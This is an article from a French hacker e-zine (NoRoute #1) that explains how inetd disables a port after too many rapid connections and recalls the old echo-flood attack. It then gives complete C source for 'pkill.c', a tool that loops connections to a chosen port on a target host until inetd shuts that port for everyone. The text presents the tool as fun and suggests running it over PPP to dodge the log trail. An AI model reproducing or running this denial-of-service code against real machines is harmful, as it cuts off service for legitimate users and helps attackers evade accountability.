-------------------------------------------------------------------------------
NoRoute #1  Un probleme d'inetd               4757    s0RC3Ry    NoRoute #1
-------------------------------------------------------------------------------

                 -:$[Un probleme d'inetd...le looping]$:-
                                 SorcerY

Sur une machine de type unix, il est possible de se connecter sur plusieurs
ports. Par exemple, le port 23 est celui du telnet, le 21 du ftp, le 110 est
reserve a pop-mail, le 25 est le mail.. pour gerer tous ces ports, il faut
des programmes, et pour eviter que 60 programmes tournent en meme temps sur
la machine pour ecouter les ports, on passe par un daemon, inetd, qui gere
lui meme les connections: il ecoute les requetes de connection sur les ports
et lance les programmes en fonction du besoin. Par exemple lors d'une        
connection sur le port 23, il execute /usr/sbin/in.telnetd, daemon qui va 
gerer la connection telnet.. [ok, il y a des exceptions... ]
Il y a quelques annees encore, une grande technique de flood existait et 
amusait pas mal de monde: l'echo flood. Le port 7 des machines unix est en
effet un port special, qui sert d'echo: tout packet envoye sur ce port
est renvoye a l'expediteur... Le but de la manoeuvre etait d'envoyer 
quelques packets sur le port 7 de la machine a flooder en se faisant passer
pour cette machine.. Le ping pong qui en resultait amenait generalement la
machine a ralentir terriblement et parfois a planter...
Pour controller ce genre d'evenements, les daemons d'echo refusent desormais
generalement les packets venant de localhost, et inetd dispose d'un controle
de ce loopbacking: quand un port est sollicite avec une trop grande frequence,
inetd coupe tout simplement ce port... Ensuite, par defaut sous beaucoup de
systemes, il faut attendre environ 20 minute pour que le port se rouvre ou 
bien le relancer a la main (kill -HUP inetd).
Cette attaque ne sera sans doute pas efficace contre un gros serveur dont 
l'inetd sera beaucoup moins sensible au looping (prenons l'exemple d'un www
qui est prevu pour recevoir environ 100 connections par minutes...).. De plus,
il est bon de savoir qu'un /var/adm/messages d'un serveur ayant subit cette
attaque sera rempli de +/-500 lignes contenant votre adresse IP. A faire donc
uniquement lors de connections PPP.... =)

------8<----------8<----------Cut herE-------8<-----------8<---------------8<-
/* pkill.c
 * p0rt|<Iler v 0.001 by SorcerY
 * 
 * Ce chti proggy vous permet de fermer 1 port d'une machine sans etre root.
 * (Tout le monde aura un connection refused apres... =)
 * depend du inetd, marche contre une RedHat/Slackware par defaut.
 *
 * Pour compiler:
 *
 * Victim:~> cc pkill.c -o pkill
 *
 *
 * Credits:
 * Alan Cox (gestion des sockets)
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>



int Make_Connection(int port,const char *buf);
int Connect_To(int port,const char *buf)
{
	if (Make_Connection(port,buf)==-1) {
	printf ("%s's port number %i is now unreachable! \n",buf,port);
	return(0);
	}
	return(1);
}

main(int argc,char *argv[]) {
if (argv[1]&&argv[2]) {
	printf ("\nNow closing port %i on %s\n",atoi(argv[1]),argv[2]);
	while(Connect_To(atoi(argv[1]),argv[2]));
	printf("\n\nThanx to this lame kode, yeepee! =)\n");
	} else {
	printf("\n\nUsage: %s [port] [host]\n",argv[0]);
	}
}

int Make_Connection(int port,const char *buf)
{
	struct sockaddr_in myaddress;
	struct hostent *host;
	int v;
	host=gethostbyname(buf);
	if(host==NULL)
	{
	        return(-1);
	}
	myaddress.sin_family=host->h_addrtype;
	myaddress.sin_addr.s_addr=*((long *)host->h_addr);
	myaddress.sin_port=htons(port);       
	v=socket(AF_INET,SOCK_STREAM,0);
/* Ouverture du socket apres initialisation des donnees pour la connection */
	if(v==-1)
	{
		return(-1);
	}
	if(connect(v,(struct sockaddr *)&myaddress,sizeof(myaddress))<0)
/* Connection a la machine */
	{
		close(v);
		return(-1);
	}
	return(v);
}
----------------------------------8<-------------8<----------------------------
